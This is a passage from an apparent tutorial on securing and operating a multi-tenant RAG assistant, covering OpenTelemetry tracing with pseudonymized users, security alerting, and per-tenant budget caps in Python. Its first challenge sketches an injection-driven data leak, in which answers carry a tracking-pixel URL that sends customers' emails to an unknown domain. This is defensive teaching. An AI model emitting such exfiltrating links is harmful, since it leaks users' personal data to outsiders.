        root.set_attribute("app.tenant", principal["tenant"])
        root.set_attribute("app.user", pseudonym(principal["user"]))
        with tracer.start_as_current_span("retrieval kb-prod") as span:
            hits = [("acme/INV-2291#0", 0.82), ("acme/terms#3", 0.61)]   # from the vector DB
            span.set_attribute("gen_ai.operation.name", "retrieval")
            span.set_attribute("gen_ai.data_source.id", "kb-prod")
            span.set_attribute("app.chunk_ids", [c for c, _ in hits])
            span.set_attribute("app.scores", [s for _, s in hits])
            span.set_attribute("app.index_version", "idx-0924")
        with tracer.start_as_current_span("chat claude-sonnet-5") as span:
            span.set_attribute("gen_ai.operation.name", "chat")
            span.set_attribute("gen_ai.provider.name", "anthropic")
            span.set_attribute("gen_ai.request.model", "claude-sonnet-5")
            span.set_attribute("gen_ai.request.max_tokens", 500)
            span.set_attribute("gen_ai.usage.input_tokens", 3912)      # from the API response
            span.set_attribute("gen_ai.usage.output_tokens", 287)

traced_answer({"user": "maria.keller@acme.example", "tenant": "acme"}, "Late fee on INV-2291?")
for span in exporter.get_finished_spans():
    print(span.name, dict(span.attributes))

retrieval kb-prod {'gen_ai.operation.name': 'retrieval', 'gen_ai.data_source.id': 'kb-prod', 'app.chunk_ids': ('acme/INV-2291#0', 'acme/terms#3'), 'app.scores': (0.82, 0.61), 'app.index_version': 'idx-0924'}
chat claude-sonnet-5 {'gen_ai.operation.name': 'chat', 'gen_ai.provider.name': 'anthropic', 'gen_ai.request.model': 'claude-sonnet-5', 'gen_ai.request.max_tokens': 500, 'gen_ai.usage.input_tokens': 3912, 'gen_ai.usage.output_tokens': 287}
answer {'app.tenant': 'acme', 'app.user': '21d232dd158e74e6'}

Look at what is missing. The question, the chunk text, the prompt and the answer never enter the trace. To replay a request you still need the question, from your own conversation store or an opt-in content capture; the trace adds the chunk ids and the index version. The user appears as a keyed hash (a pseudonym): stable enough to follow one user's requests, useless without the key. For you, who hold the key, pseudonymized data is still personal data under GDPR, so the trace store keeps its access rules. The conventions also define attributes for full content (gen_ai.input.messages, gen_ai.output.messages, gen_ai.system_instructions, and for retrieval gen_ai.retrieval.query.text and gen_ai.retrieval.documents), and they mark all of them opt-in: instrumentations should not capture content by default. The Python contrib instrumentations, for example, capture no content unless OTEL_INSTRUMENTATION_GENAI_CAPTURE_MESSAGE_CONTENT enables it. Keep it that way. When you need content to debug, turn it on for a sampled slice or one tenant's ticket, redact it, store it separately with short retention, and treat the observability vendor as another processor that needs the same contract and region as your model provider.

Alert on security signals, not just errors: gate blocks (should be zero), 401/403 rates on the data tier, sanitizer removals (a spike means an injection campaign), side-effect tool calls per session, canary hits from the leak tests in Metadata & Filtering, and spend per tenant (Move 7).

Move 7: Attribute and cap the bill

Symptom: one tenant's agent spends the month's budget in a day, or a leaked key runs up charges overnight.

Attribute first. Record input, output and cached tokens, the model and the tenant on every model call; the spans from Move 6 already carry them. Cost per tenant is then a sum over their calls at your price list. Shared infrastructure (the vector database, GPUs) needs an allocation driver, such as stored vectors or queries per tenant; name the one you used, because it is an approximation. Service-wide cost per 1,000 queries belongs to Production Deployment & Optimization. Here the job is to stop one tenant's usage from becoming everyone's problem.

Then cap. Reserve the worst case before each request and settle the real cost after it. The worst case is bounded because you set max_tokens:

from collections import defaultdict

PRICE_IN, PRICE_OUT = 3.00 / 1e6, 15.00 / 1e6   # assumed USD per token for this exercise

class TenantBudgets:
    """Reserve the worst case before a request, settle the real cost after it."""
    def __init__(self, monthly_usd):
        self.limit = monthly_usd                  # tenant -> USD per month; unknown = 0
        self.spent = defaultdict(float)
        self.held = defaultdict(float)

    def reserve(self, tenant, calls, input_tokens, max_output_tokens):
        worst = calls * (input_tokens * PRICE_IN + max_output_tokens * PRICE_OUT)
        if self.spent[tenant] + self.held[tenant] + worst > self.limit.get(tenant, 0.0):
            raise PermissionError(f"{tenant}: monthly LLM budget reached")
        self.held[tenant] += worst
        return worst

    def settle(self, tenant, hold, calls, input_tokens, output_tokens):
        self.held[tenant] -= hold
        self.spent[tenant] += calls * (input_tokens * PRICE_IN + output_tokens * PRICE_OUT)

budgets = TenantBudgets({"acme": 20.00, "globex": 20.00})
served = defaultdict(int)
for _ in range(3000):
    for tenant, calls in (("acme", 1), ("globex", 6)):     # globex's agent makes 6 calls
        try:
            hold = budgets.reserve(tenant, calls, input_tokens=4000, max_output_tokens=500)
        except PermissionError:
            continue
        budgets.settle(tenant, hold, calls, input_tokens=4000, output_tokens=300)
        served[tenant] += 1
print(dict(served), {t: round(v, 2) for t, v in budgets.spent.items()})

Predict first: both tenants have USD 20 a month. How many questions does each get answered?

{'acme': 1211, 'globex': 201} {'acme': 19.98, 'globex': 19.9}

Holding the worst case matters under concurrency: 50 requests in flight can each pass a check against spent alone and together overshoot. In a real service the counters live in a shared store with atomic updates (Redis, or your database), not in process memory.

A budget is one layer of several:

When a tenant hits a limit, degrade on purpose: a cheaper model, fewer chunks, cached answers only, or a clear message. OWASP files the attack version under Unbounded Consumption (LLM10): an attacker who can make your system call the model can spend your money.

Boss level: the incident

Back to Tuesday, run properly this time. It is 10:40. A Globex user has reported seeing Acme's invoice. Put the steps in order and say what each needs to have existed before today.

The same five steps fit the other incidents in this lesson; only the first action changes:

Final round: no label on the problem

Challenge 1: the pixel nobody ordered

Support answers sometimes end with a tiny image from stats-cdn.example.io, a domain nobody at the company recognizes. The image URL contains the customer's email address. The assistant indexes public forum posts next to internal policies. What is happening, and what do you change first?

Challenge 2: the Monday outage

Every Sunday at 03:00 the vector database password rotates, with a 24-hour grace period for the old one. Since this started, 30% of pods fail with authentication errors on Monday at about 03:00, and a restart fixes them. Why 30%, and what is the fix?

Cheat sheet: symptom → move → cost

How would you measure it on your own data?

• Isolation: zero cross-tenant pairs in the leak harness and the cache test on every build; zero canary hits and gate blocks in production.
• Exfiltration: attack success rate on your red-team set; zero non-allowlisted URLs after sanitizing.
• Secrets and audit: minutes from "key leaked" to "key revoked" in a drill; 100% of responses with an audit record.
• Personal data: redaction recall per entity type on labeled log lines; days to finish a deletion across every copy.
• Cost: spend per tenant against budget, and minutes from a spend anomaly to its alert.

Next: Production Deployment & Optimization for SLOs, rollouts and service-level cost, Caching Strategies for cache keys and invalidation, and Data Freshness & Lifecycle for deletes that reach every copy.